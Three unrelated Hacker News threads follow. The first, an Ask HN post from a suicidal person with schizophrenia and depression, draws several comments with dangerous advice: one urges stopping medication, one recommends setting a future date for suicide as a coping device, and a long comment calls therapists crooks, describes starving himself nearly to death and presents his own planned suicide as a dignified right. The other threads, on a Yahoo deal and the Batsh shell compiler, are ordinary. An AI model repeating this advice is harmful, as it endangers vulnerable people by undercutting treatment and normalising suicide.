Ask HN: Struggling with mental disorders, looking for advice - <AUTHOR> Throwaway for obvious reasons.
I've been diagnosed with all kinds of stuff, including schizophrenia, OCD, depression, etc. (The docs aren't even sure themselves what I have) been through various medications and therapies, none of them seem to help.
Struggling with suicidal thoughts on a daily basis, nothing brings me joy etc.
I think my problem are only something which can be treated with medications, but I've tried so many and the docs aren't sure what to do with me anymore.
Has anyone been in a similar situation and found a way out?
Thanks in advance. <comment><USER3> > I've been diagnosed with all kinds of stuff, including schizophrenia, OCD, > depression, etc. (The docs aren't even sure themselves what I have)

This sounds all wrong to me, and obviously will be very stressful for you. You need to find a good hospital / doctor and get yourself diagnosed right. And only then can you consider the right treatment for what ails you (I know this must be obvious to you, but I want to emphasise it).

Depending on what you suffer from, life long medications might not even be required (though will be helpful during therapy). For example, depression and OCD can be successfully treated with therapy.

While I am averse to recommending self-help without knowing what you suffer from, I highly recommend that you read "Feeling Good: The New Mood Therapy" by Dr. David Burns ( [https://www.amazon.com/gp/product/0380810336/ref=dbs_a_def_r...](https://www.amazon.com/gp/product/0380810336/ref=dbs_a_def_rwt_bibl_vppi_i0) ). The author is a real doctor and a trained Psychiatrist and explains how cognitive therapy can be effectively used to treat depressions and anxiety. And he also explains how anti-depressants works technically (you can skip that chapter if you find it too technical). It is well written and everything is explained in an easy to understand manner.

</comment><comment><USER4> What do you spend most time worrying about? And has your mental disorder got any connection to spirituality? I have been down this road many times and have immense experience, and will from time to time get sucked in there myself because I'm being careless.

Also, habits? Smoking, drinking? Good if not. Bad if yes.

Btw, thanks for the honesty. When I do go down, I struggle with the same stuff... and it takes guts to admit that to yourself and others.

And get off your meds. It's not worth it. I have had a tab of Valium (12 pills) last me for the last 2 years. I only take it when I get an ultra panic attack, and mine tend to be the _out of this fucking world_ kind...

And friends I know that sat on pills for a long time said they eventually fuck you up even more. For this, I would suggest getting into a regular exercise regime despite how shitty it is to get up and do that stuff...

Happy to hear your thoughts and give some general advice.

<comment><AUTHOR> >What do you spend most time worrying about?

I don't really worry about much, it's just the general apathy and anhedonia. What does restrict me are traumatic things I've done thanks to my schizophrenia/psychosis.

Yes, I smoke pot (I know this is a stupid thing to do if you've been diagnosed with schizophrenia, but it's the only thing bringing me joy anymore)

I tried getting of my meds, but notice getting really restless and my thoughts begin to race when I do so.

</comment></comment><comment><USER5> They can't diagnose you because you're fine, it's your environment that's poisoning you.

Have you thought about just saying f*ck it and going on a trip? Not just a day or so but a week, a month, a year, get away from your current situation. Rediscover yourself and live!

<comment><AUTHOR> >Have you thought about just saying f*ck it and going on a trip? Not just a day or so but a week, a month, a year, get away from your current situation. Rediscover yourself and live!

Thought of doing something like this, that requires money though, which I don't have.

</comment></comment><comment><USER6> I was in a similar phase (not schizophrenia) but others yes. Meditation helped me a lot. Going out and meeting new people will also help you.

Depression happens due to you stuck in one place, with no way out. Just go out daily, experience new things you are good to go. Stay away from smoking, drinking, movies, tv shows, porn, and interent in general for a while. Trust me you will be back up in no time.

And lastly exercies daily. Go for a morning run (around 6 am) and then join a gym or a fighting class.

</comment><comment><USER7> Yes. Thanks for reaching out in a public forum, that takes courage. I'm happy to share the details of my story with you privately.

<comment><AUTHOR> Where can I reach out to you?

<comment><USER7> Send me an email via corememory.io and we can arrange a phone call or meeting.

<comment><AUTHOR> Sent.

</comment></comment></comment></comment><comment><USER8> I suggest to go to www.brokenbrain.com where Dr Mark Hyman explains which _root causes_ lead to mental disorders and how to fix it.

</comment><comment><USER9> Throwaway for obvious reasons. But here is what had happened to me: \- Anxiety disorder, OCD, depression and paranoia

I had intense suicidal thoughts and living life was a pain. I went to a therapist and it did not help. I instead met a patient at the therapist's clinic who told me that I would be given shock treatments and will eventually go crazy. That was over all a very bad experience and made it all worse.

To be honest I realized how all these problems manifested in the first place. I had been indulging myself into intense philosophical content and solipsism (theory that we cannot verify the nature of reality of anyone but ourselves).

I remember waking up from a dream and not being sure if the waking state was a dream or not. It was the most frightening experience. I used to write on my palm everyday that, "Survive this day". I tried my best to stay afloat.

Skip to current day: I have completely recovered and in the process of fighting these mental illnesses, I have developed excellent coping mechanism. I have become more kind and matured. I have learnt to rationalize my thoughts and over all I'm more content than anyone in my immediate social circle.

Here are a few things that helped me:

\- I noticed that my thought process had become super confused. My thoughts were chaotic. For example, at one point I decided that doing X will be my way out of this mental suffering and then a few moments later Y would seem like the only option. I finally came to the conclusion that I cannot trust my mind's decision making ability in this state. Both X and Y could be equally good options but the mind, in a depressed state, becomes so chaotic that it can very quickly switch its stand. Solution: Whenever you want to decide upon something, select any option, without analyzing it, and just do that. If you have a trusted family member or a friend then make them decide for you. Avoid assessing any decision and spend more time on executing it.

\- Physical activity is a great way of reallocating the mental energy. I realized that any sort of physical activity like cooking a meal, walking etc indulges my mind a lot. If you need a quick break from the mental chaos, try to physically engage yourself. I go for cycle rides at night and eat at a place where there are a lot of people

\- Mind is a treacherous friend. For a brief period in my life, I thought that I was going to go crazy beyond any repair. Although nothing really happened, the very thought that something could, drove me crazy. Be aware of such thinking traps. Go here and check them out:

[https://www.anxietycanada.com/sites/default/files/ThinkingTr...](https://www.anxietycanada.com/sites/default/files/ThinkingTraps.pdf)

\- Probably the most helpful point is this one:- How to deal with your reality? Answer: Surrender to your reality. I felt a huge shock when I looked back at myself and whatever I was going through. I was still not ready to accept that my suffering is here to stay for a little long. I couldn't focus on work or even the simplest tasks. It was hopeless and very painful. But slowly I convinced myself that its okay to suffer and my achievements are greater if I can thrive despite of my suffering. And I slowly started accepting that this unpleasantness will never leave me and all my efforts to treat it are futile. And that's how you trick your self-preservation instinct. Just surrender to your reality. Accept whatever bad thought comes to you. It's very hard and scary to do so but, once you do, you will immediately notice that your mind just frees up. The preservation instinct drowns and you finally allow your brain to forget these unpleasant experiences.

\- Dealing with suicidal thoughts: The way I dealt with it was, I kept setting a date to commit suicide. If I really feel suicidal today, I'd decide that 2 months from now, I'll end it all. And then my mind would become free from suicidal thoughts because it had an exact estimate as to how long it has to endure the unpleasantness. So I decided that I'd give life a chance until I am 32 and then every time I had a suicidal thought, I remind myself of this deadline and then I'd feel a little better.

\- Also, start helping people in whatever little way possible. It helped me a lot. It helped me cope with my suicidal thoughts. Being of use to someone, even if in a small way, will send massive signals to your mind that make the suicidal thoughts go away.

On an ending note, I just really want you to get better. I have been in a very tough situation and trust me you can get out. Learn more about your mind and rationalize it and understand that its stupid. Struggle as much as you can but stay afloat. Your experiences will help someone else! And don't try to solve your problems and let go man. I will be coming back to check on this to see if you need any help or need to reach out to me.

</comment><comment><USER10> sorry the topic got me reflecting and apologies in advance I got totally carried away:

I've seen a lot of acquaintances (some of them friends) who over this past decade (starting when they reached their mid 30ies till mid-40ies) who went through some varieties of a mental breakdown, and which they're still recovering from 10-15 years later. Some of them got help. One of them hanged himself. All of them male. I couldn't help tuning into their life as it touched me, not just because they were close but because I also struggled a lot too and I engaged also to find a cure for my own cursed life.

In my case it was because I needed to unfuck the things that got fucked when I was a child (abuse by my mother from a young age both physical & sexual). I ran all my life from it and turned running even into a life-style (lived all over the world since the mid 90ies and still do so until today). I chose to live in some war torn terrifying places to feel alive and took some of the most dangerous jobs just for shits and giggles. I witnessed my first religious motivated murder when I got off the bus in Banda Aceh just after leaving my home country the first time ever to travel. I even started running literally to calm myself, first 10km, then half-marathons then marathons then ultra- marathons. Running 7 days a week for a min of 2 hours. I have no roots. Running both figuratively and literally helped me get through life without thinking to off-myself.

I sometimes come across as lacking empathy. Though my problem is that I have too much empathy in some cases that makes me feel connected to causes that then causes me to go nuts over certain topics that I feel too strongly about. I've also had my episodes here on HN where I advocated violence against causes that are dear to me (protection of nature/animals/biosphere etc at all costs and I was rightly put in place by the mods - thanks for putting up with my shit dang).

In the last 2 years I went through some kind of transformation. idk still what exactly triggered it, ... probably a combination of many things. I was always suspicious of medical help because I felt that my life was so complex and unique that nobody on this planet who went through the canned-curriculum of an academic institution could even fathom how I tick or help me. And besides I managed the first 35 years without killing myself so I'd surely get through this now. Also (more on this later) the experience from the friends I had who chose professional help terrified me for many reasons. I'd never tell anyone to seek professional help (sorry there won't be any of that here).

First change I made was to leave my family - I chose a wife who hit me like my mother when I was a child and who would mentally abuse me in ways I can't go into here both because it's too complex and too fucked up. My wife struggled with depression (and a fucked up childhood too so we really kind of found another). I figured it would be better to just leave them all rather than to make the kids put up with 2 depressed parents (or the risk of one of us killing themselves). It didn't seem fair to the kids as I didn't want to repeat the same lies served by my own parents. Neither my wife nor myself ever hit the children and they were our only thing that was sacred (she spent lot of time with them while I tried to make a gazillion to ensure they had everything. On the outside we were looked up to by friends and even the kids had no idea until they became teenagers when it all came tumbling down. I left them and never had a chance of seeing them again mostly because they now hate me and my ex also thinks I'm trash for leaving.

In my new place I started smoking weed because the pain of having my kids think I left them was almost unbearable - and still is until today. Their mother telling them I left them like a garbage runaway-father. And thanks to her denying me access it means that I'll probably not see them ever again since by now they also believe that I left for the reason my ex claims. What I'm trying to say is that in order to make things better I couldn't just improve stuff. I had to dismantle all the bullshit first. And that dismantling caused even more harm in the short and medium term. The idea to fix things without also destroying some parts is an illusion. I couldn't have stayed there and make it work otherwise I would be dead, or my wife would have killed herself, or god forbid the kids get as fucked up as their parents (after all the only thing that both my wife and me did well was look after them in the way we did.

1/3

<comment><USER10> So I'm not sure if I'm out of this rut already or still digging. I guess it will take me my whole life working things out. But since I made this first crucial change things have improved now since 3+ years but far too slowly!! Until all of a sudden ... A couple of days ago I'm not totally sure what triggered it, but there it was: Hello darkness my old friend. I thought maybe I should just go for a walk and, like a hermit go live in the woods until I die (the forests and nature is the only thing that gives me peace). I felt this was a good way because when I was a kid my mum would kick us out of the house and living in the countryside without neighbours anywhere the only place to go was the forest. I had my tree there. I gave him a name and talked to him. I'd sit on one of its branches for hours and he was my friend. I built small dams with rocks on the river or hunted rabbits or looked for mushrooms. The forest was my happy place. It was the only place that gave me true peace (until today). So it felt totally natural to go and die at a place that felt like home. It was the first serious thought about doing it I had in 5 years. The last time I simply stopped eating. First as a way to see how far I could push a 0-diet (like extreme fasting where I'd only drink water), ... I did this before and knowing my limits I knew that 2 weeks without food wouldn't even stop me from my running routines. Then after 2 weeks I decided to do another 2. I did all this to get some clarity after m marriage fell apart and to become clear in my head. It made me clear for sure but I was in no state to have done this at that time. Also it was dangerous because I was by myself. Basically rented a flat to be by myself and get away from it all so pushing the limits like this was a stupid idea. After week 3 I started playing with the thought of simply not starting to eat again. The final days I was so weak that I could not walk 2 meters from the bed to the couch without collapsing. I drank tap water instead of tea which turned out to give me chlorine poisoning since my body was unable to break it down without food and so drinking made me vomit too. I admitted myself to the hospital literally with my last energy. They had no idea WTF they were dealing with considering I looked skinnier than Christian Bale in "The Machinist".

So not having thought about suicide for so long It felt strange to suddenly think like this again. I haven't even remembered it for months and was surprised that I'm not yet over it. It was all so silly to want to go and die in the woods considering it was triggered by a minor argument with my girlfriend which wasn't even connected to any of the events. It was a deep sense of despair which at the time I felt the feeling would stay forever. It blew over as quickly as it came and only 2 days later it was like it never happened and everything was OK. Although I'm not bipolar (afaik), meaning I don't get the raging highs followed by deep lows.

2/3

<comment><USER10> Anyway I'm still trying to figure out why (apart from this sudden statistical outlier) I do feel good now compared to how it was 3 or 7 years ago. Some things that come to mind are that it's a mid-life crisis (obviously in a person that has a lot more mental housecleaning to do than others in that mood). But I'm certain still that the crisis whatever it was ... is now somehow coming to an end. I don't like the term _midlife crisis_ (or any type of labels produced by the psychological industrial complex). For me midlife crisis means that I've built up a lie (against myself) for so long ... and now the real me is catching up with the fake me.

The lie that tomorrow will always be better and constantly deferring reward to some future point in time, only to realize that I've wasted time chasing a career, when I could have spent more time with my kids. ... The lie that I'm not in a toxic marriage and that my wife would love me even I'm not pulling a 5 figure salary. Standing up for myself (no matter what society would say of my walking out on the marriage) or what my so called friends would say (all my friends were actually also business associates since working 70 hour weeks and moving all over the place since the age of 16 left me with no real friends). Now I no longer earn that money nor do I wish to. Truth be told I only work as much as I need to live a comfortable life which is in my new circumstance around €500-700 (believe it or not).

I kind of reprogrammed myself from a hardcore-capitalist that measures others by what car they drive, and whether their home has a pool or not. I chose to move from the richest and most expensive place in Europe to go to the poorest country and live on 500,--/month (instead on 15K/month surrounded by people who all have N businesses registered in places like Switzerland, Luxembourg or Monaco). I have no savings - lost/blew it all and no car. If I need to get somewhere then I walk provided it's less then 60 mins walk otherwise the public transport. Not because I have to but because walking (not running) is one of the things that gives me clarity. Not on a running-belt in a gym but out in the fresh air (regardless of weather).

I receive no mail in the post anymore (I used to spend all of my Saturday writing replies and dealing with business correspondence, taxes, insurances, finances what not ... and watching my mail-box fill up during the week alone gave me anxiety attacks). For a while that mail in the post was like a proof of how good I am and how much things I can juggle in parallel. _" look at me ... all those things I juggle in parallel ... so busy and important..."_ while at the same time I could have spent the hours with my kids & dogs.

Back then, instead of doing work in my garden on weekends I hired a gardener because why waste time doing manual labor when I can hire somebody for 15/hrs to do the job "professionally" while I put in 4 hours of work and earn 250/hrs while the guy outside cuts the grass. I look back at me with disgust knowing that I totally missed the point of a garden. Missed the point of enjoying family and life in general.

Looking at myself critically was only possible after all my power/money/confidence was taken from me (did I do this to myself on purpose after all somehow subconsciously? idk ...) But I would have not learned it otherwise, ...

but that is my specific situation and maybe got nothing to do with others who are depressed and suicidal. At least on the surface that is but in retrospect it's all connected to the way we live today trapped like hamsters in our self- constructed cages that the system pushes us into if we're not careful. No doubt it works out for many people who participate or have the energy to do so, but many of us end up in a sad way ... just look around and search for depression here and look how popular the topic is: [https://hn.algolia.com/?query=depress&sort=byPopularity&pref...](https://hn.algolia.com/?query=depress&sort=byPopularity&prefix&page=0&dateRange=all&type=all)

Everyone of us is heading down a path of loneliness at least at some point. Even those people that ought to do well. It's like an epidemic and I'm convinced screen-time has a lot to do with it (compounded by the side effects of screen-time: not enough exercise, no walks in nature, no fresh air, quick sugar highs and an unhealthy diet). My girlfriend who is younger than me grew up with always having a phone before going out (pressured by anxious parents who want to keep track). She doesn't suffer anything and is healthy but if you take away her phone and ask her to go to the city without it she'd have a panic attack. (if she goes to a therapist they give her pills but won't ask her to get rid of her phone).

An important step I took was to get rid of _all_ my social media in 2018. Starting with FB, Twitter, LinkedIn. The only account left is this one on HN. It feels like removing myself from social media has helped me a great deal moving forward. I can't say that social media was a huge problem for me but there is also no denying that between 2013-2016 social media has robbed me of my own free will and caused isolation that was much deeper than it would have been without. I had lots of followers (like sure many of you here who live online too do) on many places, ... yet in the end I was empty and drained from the shallowness. Because of this realization I also extended this rule now in 2019 to even do away without a mobile phone. It is now in a drawer with batteries removed and will stay there until at least Jan next year when I will reevaluate if it is something I need. (that's hardcore for an ex radio-network engineer). It took me a while to do all this and none of it happened overnight. I started by leaving my phone at home when I went out. Forcing myself to look at people when waiting for the bus (they're all looking at their screens like zombies), also it's strange when you ask a stranger for the way and even got asked once why I don't use google-maps. But it made me think about the kind of world I want to inhabit and how I want to shape my environment. ("you either shape your environment or be a product of it")

When I moved to this poor sorry place in the backwaters of Europe, it felt at first depressing but what gave me hope was the people. The Slav mentality with their gloomy mood and _" can't do"_ attitude ... it turns out that many of them are smiling on the inside (it's often said sarcastically but it's true). It gave me new hope ... a lot more hope than the fetishism of "positivity and optimism" we practice in the West (especially in Anglo-Saxon countries but that also sips over to places like Germany, France, Belgium and everywhere else where there is Netflix). I see optimism now differently. Almost like a cancer that is eating the Western society. Fake forced smiles of Uber drivers, and so on ... I'm glad I'm no longer part of this.

I'm not going to urge you to seek medical help because I know the dangers that help can come with. I wrote about my friends and acquaintances in the opening paragraph and I noticed that many of them didn't actually get better. They just got strung along by their therapists who listen and then prescribe some pills (again your mileage may vary but knowing the healthcare system in Germany, UK, US I'd not trust them with my fragile self especially when you have a top-notch insurance you can count on these crooks rubbing their hands thinking of all the shit they can peddle). I don't actually know what advise I can give you or even it would be ethical to do so considering the complexity of our mind and the individual situation.

If you take recreational drugs of any kind (incl alcohol / coffee) I'd stop that first. We are all chemical animals so anything we put into our body has an effect. In other words you can make better progress with subtracting things than to add (pills). Instead of drinking coffee take a nap when you're tired. One of my problems was that I couldn't sleep at night and was awake always till the early AM working then I'd crash out and sleep till noon - <USER2> unhealthy for our circadian clock.

reading, reading, reading: I started reading a lot of existential work. I think it was Dostoyeveski (Notes from the Underground) got me hungry for more. It was dark but it was also uplifting. Then Thomas Ligotti (The Conspiracy against the Human Race) and the thoughts of Emil Cioran spelled it out in clarity as I've never seen before: the only way for me to be is to realize that I have to think about death every day and that it's actually good for me to be reminded that _there is no point_. It gave me peace because I surrendered and stopped looking. I learned that I'm not actually a freak and it's OK to have gloomy thoughts. I no longer have to put on the optimism-mask to be happy. Anyway I kept on reading and still do so until today since about a year now. At least 1 book a day (mostly philosophy or fiction), but not with the aim to "study" or learn but to enjoy. I'm done with forcing myself for the sake of education or career. Life is too fucking short. And it could be even shorter by offing myself. I feel that suicide is still my right as a human that nobody can deny me and fuck anyone who says otherwise. What are they gonna do? arrest me? call me names? hate me? - I couldn't care less LOL. I know that one day I will kill myself but not out of spite or sadness but because it's the best way to go with dignity (much better than withering away in an old peoples home or being a guinea pig to the medical profession while I go through another round of chemo to beat some cancer. No it's much better to burn all the documents that I have or anything that proofs I've ever existed and then disappear in a way that doesn't harm others (no dramatic pills, a bullet or blood where I upset some bystander or whoever finds me. When I do it they will never find me, though they know I will have gone this way since it was my will. This is what dying with dignity means for me: on my own terms and by my own hands (or maybe in an accident that can happen without my control of course. But as long as I can control it it will be on my terms not on societies. But not today. And most likely not next week or next month. Life is too good now because I keep discovering new books and I have real conversations with them with real people. It must probably seem somewhere on a spectrum between strange, stupid and even offensive to most of you here when I say that what helped me was knowing that I need pessimism/existentialism to be happy. It doesn't at all fit to can-do spirit positive thinking and the way a doctor (and society) wants me to be. But that's OK I'm not living for them.

If you wish to talk to somebody anonymously and without judgement then feel free to drop me a mail. The address is in my profile.

3/3

<comment><AUTHOR> Sent you a mail.</comment></comment></comment></comment>


Yahoo Math: $800 Million  $12 Billion  - <AUTHOR> http://mashable.com/2008/06/12/yahoo-google-search-advertising-deal/ <comment><USER2> You forgot the Greater Than (>) sign. It's REAL important to the point of the title...</comment>


Batsh – A language that compiles to Bash and Windows Batch - <AUTHOR> http://batsh.org/ <comment><USER2> Long ago I thought about writing something that compiles to batch files, if only to make complex logic a bit easier to write or make the process of thinking about every little syntactic idiosyncrasy less tedious. Since then I found PowerShell though, and the need of writing complex and sophisticated batch files isn't so much there anymore¹.

Nice to see this compiler adopting some idioms that make it easier for working with larger codebases, e.g. passing a return value variable name into subroutines. The author apparently lacks a bit of understanding on how to write robust batch files, though. Turning

      x = "a|b";

into

      set x=a|b

is surely going to cause trouble. Quoting the argument to set is also often much easier than correctly escaping every meta-character. And iterating over files by throwing for /f at dir's output will cause trouble with filenames that use characters outside the current legacy codepage (not to mention that /w is the wrong switch and /b must be used, otherwise you get funny "files" back like Volume, in, drive, C, ...). Testing their language and output for correct functioning apparently wasn't high on the list, or at least, as usual, only for bash.

(Bugs reported, but the choice of implementation language makes pull requests a bit hard for me. It also seems that the language is unusable for anything but simple stuff. readdir() returns a string with space-separated file names, but there is no way of iterating over them again (and it's not easy in batch files). Things like iterating over arrays or better support for printing text that does not cause trouble or side-effects have been known for over half a year without a change. I guess the project, while nice, is currently a zombie.)

____

¹ Last thing I really wrote was a deployment script for a website that had to run on Server 2k3 instances where I wasn't allowed to install anything. And I still have a half-written bignum library in numerous batch files somewhere. Only addition worked properly, though.

<comment><USER3> The main issue with powershell is portability - no guarantee that someone's Windows box will have it installed or not.

I recently wrote a batch script just to make sure it'd run on any Windows system rather than risk powershell. If it was always going to run in a controlled environment, I'd have written it in cygwin bash anyway.

<comment><USER2> You have that guarantee starting with Windows 7. Version is one thing; some nice things are available only in v3+, but v2 is very usable already. Execution policy is another matter, but you can always supply a batch file with the PowerShell script containing

         powershell -ExecutionPolicy Bypass -NoProfile -File %~dp0.ps1 %*

That's what I usually do, which is also helpful for colleagues who have no idea how to run a PowerShell script because just double-clicking it doesn't work.

Often I start with a batch file, just to notice after a dozen lines that this sort of thing is much easier to write and maintain in another language. And in the last two years I shifted more to PowerShell than batch in many cases. Some of that is surely due to atrocities like Windows XP dying out and Vista never being common. For scripts that developers execute on their machines PowerShell should be a fairly safe bet in a Windows environment by now. Deployment or build scripts should probably be MSBuild or something similar.

<comment><USER3> I thought powershell had to be explicitly installed/enabled even in win7.

I'm not going to walk a user through that when I can do what I want in batch (with more pain, but still less than ending up providing support...).

My normal area is Linux though, and both powershell _and_ batch make me appreciate bash so much more. Even those little things like being able to format arbitrary dates as you want...

<comment><USER4> Powershell is actually a really nice shell/scripting language. I often miss its power, simplicity and not to mention the immense amount of flexibility having all of .net accessible when using a 'nix box.

<comment><USER5> That sounds like a symptom of simply being more familiar with the Windows environment. People who have grown up in China probably find chopsticks simpler and more powerful than forks -- I'm hypothesizing -- but not because forks don't work.

<comment><USER4> I wouldn't say so. I would kill for a halfway decent Ruby shell. On Windows I'd be going on about the power of .net and on nix I'd be promoting how awesome having the power of gems in my shell is. Powershell really is quite good and blows sh/bash/zsh out of the water. The "everything is an object" model instead of passing around strings really changes how you work.

<comment><USER5> I know far more about scripting linux/unix than Powershell, so I can't really speak directly to Powershell's strengths and weaknesses. But there's reason to be skeptical that Powershell has actually blown bash out of the water, I think. If it made that much difference, linux/unix would have adopted Powershell's object paradigm for itself.

I'm not sold on Ruby gems. I haven't learned Ruby yet. Shell scripting to me means bash (or /bin/sh) + whatever utilities come standard on a unix system: sed, awk, etc.

The goals may be slightly different, reflecting the different cultures using the shells. What I think is cool about bash scripting is that I use bash constantly, anyway, which makes it easy to test small script fragments before including them in a full-on script, and even though, e.g., some things are nasty to do syntactically in bash, I get lots of practice.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER6> I for one am disappointed that they didn't host this on a .it domain.

<comment> jack-r-abbit Certainly a missed opportunity.

<comment><USER5> If destiny has that this is to become wildly popular, it's practically inevitable.

</comment></comment></comment><comment><USER7> This is great for me. As part of my day job I am often stuck writing batch scripts (yes, in 2014) for clients that refuse to run powershell. Writing a simple batch script is usually not a problem, but it can be very encumbering as the complexity increases.

Thank you for sharing.

<comment><USER8> I want to agree, but my major gripe using the different incantantions of Powershell (and I have tried, I am Winboxen admin often in my job and tried it before any other co-worker on Vista, obviously the story has improved since) and the startup time and performance was abysmal.

In terms of performance for very basic scripts (silent software installs, 5-10 lines, registry patching, etc.), I see the performance chart as:

Batch > VBScript > Powershell

in terms of speed. I wish I had tried Jscript, because the ironic Javascript is taking over the world could have meant retro hipster superiority (and scary you could integrate JScript and VBScript into the same script by embedding them in XML type directives and using the WSF system). Now that was scarier than any of this.

As an aside, outside of speed, how do you sign scripts for clients? I love that Powershell encouraged it, but every person I have met has not bought into Powershell, and most certainly invokes "disable the cert check" completely command for all executed Powershell scripts.

<comment><USER9> The speed difference between PS and cmd.exe is not nearly large enough to justify the incredible hoops you have to jump through to get anything reasonable done in batch. Yes it takes _slightly_ longer to start up, but it has things like native arrays, hashmaps, foreach loops, etc built in to the language! Versus a spaghetti mess of gotos in batch.

</comment></comment></comment><comment><USER10> I would have preferred a bash/powershell solution. Hoping no one is still writing batch files on windows... even if he is still using xp

<comment><USER11> Agreed. Powershell has almost completely replaced batch scripts, and is actually a fairly pleasant language to work with.

<comment><USER8> As I said in the other threads, the language is great, the performance has been abysmal in relation to batch (at least for me, having started with Powershell in its first release in Vista).

<comment><USER12> This eludes me but why care about the performance of a shell scripting language?

<comment><USER13> With PowerShell level of slowness it starts to matter. Even very basic commands seem to sometimes take many seconds to run. In the middle of intense workflow it becomes a problem.

<comment><USER2> Care to give examples? I know that the language isn't fast, but afaik nearly all shells are interpreted. There have been performance problems with break/continue in earlier versions as they were implemented using exceptions internally. But that doesn't really qualify as "basic commands", I guess. Cmdlets should be not much slower than running the equivalent C# code yourself.

<comment><USER13> Hmm, I can't seem to reproduce many such issues with this machine, except Get- Help the first time I tried it. I think it could be that the cmdlets are only slow on the first run (enough to leave me with a bad experience), or the SSD on my PC masks the problem. It's good to know that it's not always super slow.

<comment><USER5> If it's slow on the first run, then it might be loading a large interpreter from disk. If so, MS might have let the interpreter get a bit ungainly -- you might argue.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><AUTHOR> This implementation is not perfect, although it's interesting that it supports Windows. I personally don't care about that, but it brings the idea to create some sugary wrapper around Bash that allows you to use Bash v4 features such as associative arrays in Bash v3, and wrappers that allow functions to return arrays and other typical headaches.

<comment><USER14> My initial thought after seeing this is Windows support is interesting, but the real value is in making bash friendlier. Something that brings syntactic sugar to bash is welcome in my mind, as I always find myself putzing with Google to find solutions to even slightly non-trivial scripts.

Perhaps I should just master bash scripting once and for all (I know it's not that complex), but I generally find it unpleasant to do anything that requires control flow or traditional "programming language logic" in bash.

A simple way to bootstrap the compiler with the script itself would be especially nice. Basically, an embedded batsh compiler. Might be an interesting avenue for an enterprising person to look into.

<comment><USER15> Use Python?

Most of the time I find myself struggling with Bash, it's because a simple script has kept expanding in scope and I'm well into the sunk-cost fallacy in trying to fix "just that one last thing".

But unless you have a really specific environment, I'm pretty sure most modern servers probably have Python or Ruby or some other stack that can be a shell script available. If you're in Bash, it's because you were trying to do something quickly.

<comment><USER16> General rule of thumb for me is if it exceeds 100 lines of Bash, it should probably be a Ruby or Python script.

</comment></comment></comment></comment><comment><USER17> So I like the idea of a cleaner higher level version of BASH that still works like BASH but doesn't have the baggage of it's evolution.

Key feature has to be output that is no less readable than the average bash script. Which it seems to be.

<comment><USER18> > Key feature has to be output that is no less readable than the average bash > script. Which it seems to be.

So does smashing your head into the keyboard while holding the shift key.

I use bash but it's not a pretty language.

</comment></comment><comment><USER19> 1\. From UNIX point-of-view, not all has the luxury of bash, so seems to be quite limited to a certain modern platform? I found out ksh are more prevalent

2\. I actually use UnxUtils in windows so I can has POSIX command option (and scripting). Performance-wise, never tested as not needed, all short command / simple script

<comment><USER20> Using Fedora 20, `which ksh` returns nothing. I would think people wanting to adopt a language like this are more likely to be using Linux 2.6 than AT&T UNIX, but I would suspect you're wrong about which one is now more prevalent now anyway. I can't remember the last time I used a *nix box that didn't have bash (or a VERY similar shell) installed by default, and this is certainly a huge step up over having to write both batch and bash independently anyway.

</comment></comment><comment><USER21> I'm not so sure about the utility of this in my case. I usually end up using python for scripts, with perhaps a one line batch file that runs it with some default arguments for convenience.

<comment><AUTHOR> Yup, that's all we end up doing, but it would be nice to have something that combines both programming bliss with end product being just one Bash script that runs on every Linux distro.

</comment></comment><comment><USER22> There's no mention of error handling, which is what really makes Windows batch files completely hopeless for anything involving more than one or two commands. Being able to write code with exceptions and having it compiled to the corresponding mess of ERRORLEVEL and GOTO would be sweet!

(I've switched to just writing everything in JavaScript for WSH. It's ECMAScript 3 and the API has some issues, but it's still a million times better than trying to write any logic in batch.)

<comment><USER23> Ive leaned towards node.js for a couple years now in windows.. with edge.js I get about anything I could ask for....

You can also put a thin shim to launch node for the script in case it's in a wsh environment.

<comment><USER24> Link to Edge.js: [https://github.com/tjanczuk/edge](https://github.com/tjanczuk/edge)

WSH is Windows Script Host: [https://en.wikipedia.org/wiki/Windows_Script_Host](https://en.wikipedia.org/wiki/Windows_Script_Host)

</comment></comment></comment><comment><USER25> Source: [https://github.com/BYVoid/Batsh](https://github.com/BYVoid/Batsh)

</comment><comment><USER26> So are we really supposed to install OCaml and compile it or do we use it as a hosted service? I can see that you just post a batsh script and specify your output, but I don't know if that's intended for public consumption. Otherwise this just looks like a POC.

<comment><USER24> I think you missed the second option in the README, "Install from OPAM" ([https://github.com/BYVoid/Batsh/tree/master#install-from- opa...](https://github.com/BYVoid/Batsh/tree/master#install-from-opam)). To summarize, you can install the OPAM system with your package manager with a command such as `brew install opam`, then install batsh with `opam install batsh`. That should give you a `batsh` command that you can use to compile your scripts.

</comment></comment><comment><USER27> This is a really juvenile comment, but batsh.it would be an excellent domain for this project.

</comment><comment><USER28> That files() function will not work properly. I have an old abandoned project, that has a proper directory listing function for batch, you can take that.

[http://sourceforge.net/projects/scriptconvert/](http://sourceforge.net/projects/scriptconvert/)

Much of the stuff there is half assed but there is some goodies. Like substring searching and dumping of stdout without using temporary files, which is insanely weird in batch definitely take a look.

</comment><comment><USER29> I had to do this once to avoid having to duplicate a bunch of build and install logic (that couldn't assume some other scripting language was installed), but because of how limited batch is (powershell was not available at the time), I opted to write a simpler DSL that output one or the other. I could see this project developing in that niche by maybe providing more substantial built-in functions for common build/install script functionality.

</comment><comment><USER30> I want this to be great; it would solve no end of problems at my workplace.

Unfortunately, "You have to install OCaml (version 4.00.1 or higher) development environment before compiling Batsh" (not to mention "1\. Install OPAM. See instructions.") basically makes it a non-starter for my purposes.

Why can't this take a batch file and translate it to Bash? Or vice-versa? Genuine question - I do not have a sufficient understanding of the fundamentals to guess.

<comment><USER31> They are both hideous languages with myriad diverging features. Translating them into each other would either require extra runtime dependencies or obscene amounts of hideous code in either language.

By coming up with a third language the author could conveniently pick a subset of features that could easily be implemented in both languages without much goat slaughtering.

</comment></comment><comment><USER32> About to go make a Batsh batcher so I can call it batshit.

</comment><comment><USER33> This would be extremely handy for me in the past when I had to make both bash and bat scripts. I always hated with passion freaking Windows bat.

<comment><USER34> Same here! I needed this a couple weeks ago

</comment></comment><comment><USER35> The way it compiles to Bash is far from efficient. However, seeing how Batch "supports" functions I can see there a good case use.

</comment><comment><USER36> Was discouraged at it being OCaml, but because you made it web based so it's accessible to everyone, you win a free internet.

<comment><USER37> What's wrong with OCaml?

